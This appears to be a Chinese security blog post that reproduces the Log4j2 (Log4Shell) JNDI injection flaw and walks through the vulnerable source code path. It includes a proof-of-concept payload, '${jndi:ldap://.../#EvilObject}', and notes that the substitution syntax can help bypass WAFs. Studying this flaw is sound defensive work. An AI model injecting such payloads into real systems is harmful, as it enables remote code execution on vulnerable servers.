Apache log4j2 命令执行漏洞复现
2023-06-16 14:30:48 # Web Security # Apache

前言

都在讨论这个log4j2,可以说是重量级的漏洞了,大部分的java网站程序都在用它。漏洞的实现主要运用到了JNDI和LDAP,问题出在JndiLookup上

影响范围: Apache Log4j 2.x <= 2.14.1

image-20211210132347082

此处没有对字符进行过滤,导致用户可以构造恶意代码。

POC

受攻击方客户端:

1
2
3
4
5
6
7
8
9
10
11
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
//PatternLayout.toSerializable
//MessagePatternConverter.format
public static void main(String[] args) {

logger.error("${jndi:ldap://127.0.0.1:7777/#EvilObject}");
}
}

ldap://127.0.0.1:7777/#EvilObject}是传入我们本地的恶意序列化对象。

具体实现见JNDI与LDAP的注入攻击

image-20211210133708492

漏洞分析

logIfEnabled

首先还是下个断点

image-20211219175848710

F7步入,这里会做一个log是否enabled的检测

1
2
3
4
5
public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message, final Throwable throwable) {
if (this.isEnabled(level, marker, message, throwable)) {//这里检测isEnabled是否为真
this.logMessage(fqcn, level, marker, message, throwable);
}
}

如何判定它是enabled的呢?

1
2
3
4
public boolean isEnabled(final Level level, final Marker marker, final String message, final Throwable t) {
return this.privateConfig.filter(level, marker, message, t);//返回了config中的filter
}

image-20211219183700833

此处我们可以观察到,我们传入的level是**”ERROR”,其对应的level in integer为200**image-20211219183913695

正好等于当前logger Config要求的最高intLevel(200)

再根据官方手册,fatalerror也满足小于等于200的条件,因此我们使用fatal(),error()亦可触发漏洞。

Standard Level intLevel
OFF 0
FATAL 100
ERROR 200
WARN 300
INFO 400
DEBUG 500
TRACE 600
ALL Integer.MAX_VALUE

MessagePatternConverter.format()

关键点在messagePatternConverter#format中:

1
2
3
4
5
6
7
8
9
if (this.config != null && !this.noLookups) {//此处判断noLookups是否为false
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {//找到${的位置
String value = workingBuilder.substring(offset, workingBuilder.length());//将包含${将其之后的字符串提取到value中
workingBuilder.setLength(offset);//设置$之前的字符串长度
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));//append经过处理后的字符串value
}
}
}

在默认情况下,noLookups为false

image-20211220125208104

1
public static final boolean FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS = PropertiesUtil.getProperties().getBooleanProperty("log4j2.formatMsgNoLookups", false);//默认为false

StrSubstitutor.substitute()

我们继续分析字符串value是如何被处理的。

image-20211220130516379

1
2
3
4
prefixMatcher: ${
suffixMatcher: }
escape: $
delimiter: :-

后面的逻辑便是寻找prefix,如果找到了,继续找suffix,找到suffix后把中间的字符串继续传进substitute() =》循环遍历检测内嵌的**${}**

image-20211220133139043

匹配了前缀后缀后,下面就是找delimiter

image-20211220133728942

看看label100的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
for(i = 0; i < varNameExprChars.length && (substitutionInVariablesEnabled || prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) == 0); ++i) {
if (this.valueEscapeDelimiterMatcher != null) {
int matchLen = this.valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);//循环判断是否是delimiter :\\-
if (matchLen != 0) {//匹配到了delimiter
String varNamePrefix = varNameExpr.substring(0, i) + ':';//将delimiter前的字符串加上:赋给varNamePrefix
varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);//将\后面的字符串和之前的varNamePrefix合并在一起
int j = i + matchLen;

while(true) {
if (j >= varNameExprChars.length) {
break label100;
}

if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
//判断是否是delimiter :-
varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
//key值
varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
//value会丢弃掉:-及之前的所有字符串
break label100;
}

++j;
}
}

if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
}

上面的代码可能不太好理解,举两个例子

如果是

  • ${hello:-world} - key为hello, value则为world
  • ${hello:\\-world:-haha} - key为hello:world,value则为haha
    • 也就是说:\\-:-的转义符

这样的字符串替换可以用于绕过WAF

当替换完毕后,会执行到StrSubstitutor.resolveVariable()

1
2
3
4
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);//执行resolver.lookup()
}

Interpolator.lookup()

接着会执行**lookup()**,判断出要执行JNDI类型的Lookup

image-20211220142228918

JndiLookup.lookup()

首先获取到jndiManager

image-20211220144414130

1
2
3
public static JndiManager getDefaultManager() {
return (JndiManager)getManager(JndiManager.class.getName(), FACTORY, (Object)null);
}

image-20211220144801055

发现它是创建了一个Manager,将一个新的InitialContext传进去了

image-20211220144859470

image-20211220144927509

从而当我们执行JndiLookup.lookup()时,会触发initialContext.lookup()

计算器成功弹出

image-20211220145107200

Reference

https://su18.org/post/log4j2/